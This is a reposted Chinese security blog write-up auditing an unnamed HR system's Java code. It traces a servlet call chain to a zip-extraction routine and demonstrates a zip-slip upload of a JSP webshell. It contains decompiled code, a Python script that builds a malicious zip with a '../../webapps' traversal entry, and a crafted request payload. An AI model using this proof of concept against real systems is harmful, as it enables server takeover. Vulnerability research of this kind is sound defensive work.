突破后缀限制实现任意文件上传

admin 2025年2月14日09:45:15评论14 views字数 4384阅读14分36秒阅读模式
文章作者:奇安信攻防社区(中铁13层打工人)

文章来源:https://forum.butian.net/share/4129

1

前言

之前人力系统审计文章中发现了鸡肋的上传点,本着学习的心态看看能不能扩大利用到getshell,于是就有了这篇较坎坷的文章。

2

寻找解压点

当时有提到白名单过滤可以上传zip,如果我们能找的可控的解压点理论上可以利用zip slip进行getshell。
查看web.xml发现另一处有关上传的servlet:

突破后缀限制实现任意文件上传

跟进到其中,发现在uploadMediaFile方法中有相关解压的操作
try {    var16 = ",jsp,jspx,bat,exe,jsf,jspf,server,setup,sql,sqlpage,tag,tagf,tagx,class,java,cmd,shs,msi,asp,aspx,net,";    var3 = new FileInputStream(new File(var7 + var6 + var1 + var2));    var15 = new ZipInputStream((InputStream)var3);    ZipEntry var17 = null;    while((var17 = var15.getNextEntry()) != null) {        if (!var17.isDirectory()) {            var18 = var17.getName();            var19 = var18.substring(var18.indexOf("."));            if (var16.indexOf("," + var19.toLowerCase() + ",") > -1 || var16.indexOf("," + var19.toLowerCase().substring(1) + ",") > -1) {                var14.append("{文件名:"" + var1 + "",");                var14.append("类型:"" + var2 + "",");                var14.append("失败原因:此压缩文件中包含不允许上传的文件类型!}");                break;            }            if (var18.toLowerCase().indexOf("imsmanifest.xml") != -1) {                var9 = true;                SAXBuilder var20 = new SAXBuilder();                Document var21 = var20.build(var15);                var9 = var9 && this.isHashNode(var21);                break;            }            var15.closeEntry();        }    }} catch (IOException var44) {    var44.printStackTrace();    throw new Exception("zip文件错误");} finally {    PubFunc.closeIoResource(var15);    if (var3 != null) {        ((InputStream)var3).close();    }}
细细一看,居然对文件名进行了判断
var18 = var17.getName();var19 = var18.substring(var18.indexOf("."));if (var16.indexOf("," + var19.toLowerCase() + ",") > -1 || var16.indexOf("," + var19.toLowerCase().substring(1) + ",") > -1) {      var14.append("{文件名:"" + var1 + "",");      var14.append("类型:"" + var2 + "",");      var14.append("失败原因:此压缩文件中包含不允许上传的文件类型!}");      break;}
这里通过getName获取到压缩包中的文件名,然后通过var18.substring(var18.indexOf("."));取得文件后缀,进入if判断,当后缀名在黑名单时报错。
此处看来是行不通了,我们全局搜索如ZipInputStream或ZipEntry,发现有好多地方有调用

突破后缀限制实现任意文件上传

这无异于增加了发现难度,不过根据上面servlet发现其实该ZipEntry类其实是该系统自己封装实现的

突破后缀限制实现任意文件上传

然后我们用老朋友jar-analyzer工具帮我们搜索com.xxx.xxx.zip.ZipEntry的getName方法调用

突破后缀限制实现任意文件上传

除了上述servlet以外还有两处类名基本一样的savexxxxTrans中unZip()方法有使用
突破后缀限制实现任意文件上传
可以看的是将压缩包的文件解压到var2变量控制的目录中,如果我们知道var2的具体位置就可以构造zip slip的恶意压缩包,将webshell解压到web目录下,向上看该方法的调用

突破后缀限制实现任意文件上传

目录是由var1也就是压缩包路径和var2确定,相当于在存压缩包的路径创建var2目录解压目录到其中,根据之前上传接口会返回文件全路径,如果var1参数完全可控可以构造恶意压缩包:
tomcat/temp/xxxx.zip(ps:1.txt) -解压-> tomcat/temp/$(var2)/1.txt -zipslip->  tomcat/temp/$(var2)/../../webapps/1.txt
那么var1真可控吗
往上到其调用:
public void execute() throws GeneralException {     String var1 = "yes";     try {        ...        String var3 = (String)this.getFormHM().get("r5100");        ...        String var9 = (String)this.getFormHM().get("newPath");        ...        if (!var3.equals("")) {            var2.setString("r5100", var3);            var12 = this.isZip(var9, var3);
可以看到路径是由是newPath控制,且存在this.getFormHM()的hashmap中。
而根据以往搜索经验却找不到该execute()方法的调用,难道是只定义而没调用嘛,那岂不是寄了!
3

寻找触发点

然而经过我不断的根据和搜查。。。在某配置文件找的了该类的全限名

突破后缀限制实现任意文件上传

感觉像是根据funcid创建mainClass的实例进行执行,一般配置文件都有加载到对象中的过程,于是寻找读取配置文件初始化对象的类和方法。

突破后缀限制实现任意文件上传

在WFMapping#init中加载配置文件初始化到变量E中,

突破后缀限制实现任意文件上传

在MsgRouter#execute()方法中会调用WFMapping#init(),同时调用businessProcess.synJavaBeanExecute()来反射调用对应mainclass中的execute方法,相关代码如下

突破后缀限制实现任意文件上传

而MsgRouter#execute()方法被FrameCmd#execute()所调用

突破后缀限制实现任意文件上传

最终在AjaxController#A()方法中调用了FrameCmd#execute()

突破后缀限制实现任意文件上传

而其中用于赋值给FromHM的Var2变量是通过请求参数来控制的
那么AjaxController具体如何触发到A方法,我们来看看

突破后缀限制实现任意文件上传

首先根据__type的值当不是bymobile,byWeiXin和byserviceclient会进行session有效性检查,未授权会提示请登录。
后续会根据__type调用到A方法进行hashmap的初始化然后调用execute。

突破后缀限制实现任意文件上传

突破后缀限制实现任意文件上传

可以看到是获取请求中__XML变量的值,通过C(String var1)方法将Json字符串转为RequestCommand的hashmap存入,同时在A(HttpServletRequest var1, ResponseCommand var2)方法中将请求中其他键值对存入hashmap,之后调用前面AjaxController#A()方法,将两个的hashmap合并,一并赋值给TransInfoView.setFormHM中。

突破后缀限制实现任意文件上传

回顾整个过程
1、AjaxControllerhttp接口通过请求参数构造hashmap,传给FrameCmd
2、FrameCmd调用MsgRouter,后面MsgRouter根据hashmap中functionId值找到具体类反射调用其execute方法,同时将hashmap赋值给FromHM
3、反射调用savexxTrans类的execute方法,构造r5100和newpath参数,使其进入isZip方法,最终进入unZip解压newpath路径代表的zip,实现zip slip解压webshell到web目录
因无需权限的三种__type由于环境问题无法调试,故进行认证时的环境变量logonclass变量未知,登录绕过无法分析,所以只能是个后台漏洞,感兴趣的师傅可以自己再研究研究
4

漏洞复现

首先构造恶意压缩包
import zipfileif __name__ == "__main__":    try:        zipFile = zipfile.ZipFile("poc1.zip", "a", zipfile.ZIP_DEFLATED)        info = zipfile.ZipInfo("poc1.zip")        zipFile.write("./1.jsp", "../../webapps/xxx/2.jsp", zipfile.ZIP_DEFLATED)        zipFile.close()    except IOError as e:        raise e
上传文件并获取文件路径

突破后缀限制实现任意文件上传

然后构造savexxxTrans类所需要的hashmap
__xml={"functionId":"xxxxx0098","r5100":"123","newPath":"pymPAATTP2HJBPAATTPTSp3D3B4rfY9KhAbdPAATTP2HJBPAATTPG5D88fn0v7FA6ABeChYeJjq5fcLohhB4gaPAATTP2HJFPAATTPMIiqi5FFXEQqKHZPAATTP2HJFPAATTPrZR64L1hzvI0QApCj0mzlpFOFuzGQIlBSYCwL5nI36C66MJjBwHiBy1Kyx3cPAATTP2HJBPAATTPkHzFwJhiAe0xXuCscfPAATTP2HJBPAATTPPAATTP2HJFPAATTPhUSy6Ih2mpMTae9Z2fOVVPAATTP2HJBPAATTPXPmDGAPAATTP3HJDPAATTPPAATTP3HJDPAATTP"}
这里的newPath因为在其execute中需要进行了加密,解密结果与上传接口返回的fullpath解密结果一致。
然后再对__xml的值进行aes加密(主要是filter中当type为extTrans会进行AES解密)
登录后发送数据包

突破后缀限制实现任意文件上传

根目录成功访问jsp文件

突破后缀限制实现任意文件上传

 

原文始发于微信公众号(李白你好):突破后缀限制实现任意文件上传

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月14日09:45:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   突破后缀限制实现任意文件上传https://cn-sec.com/archives/3739350.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息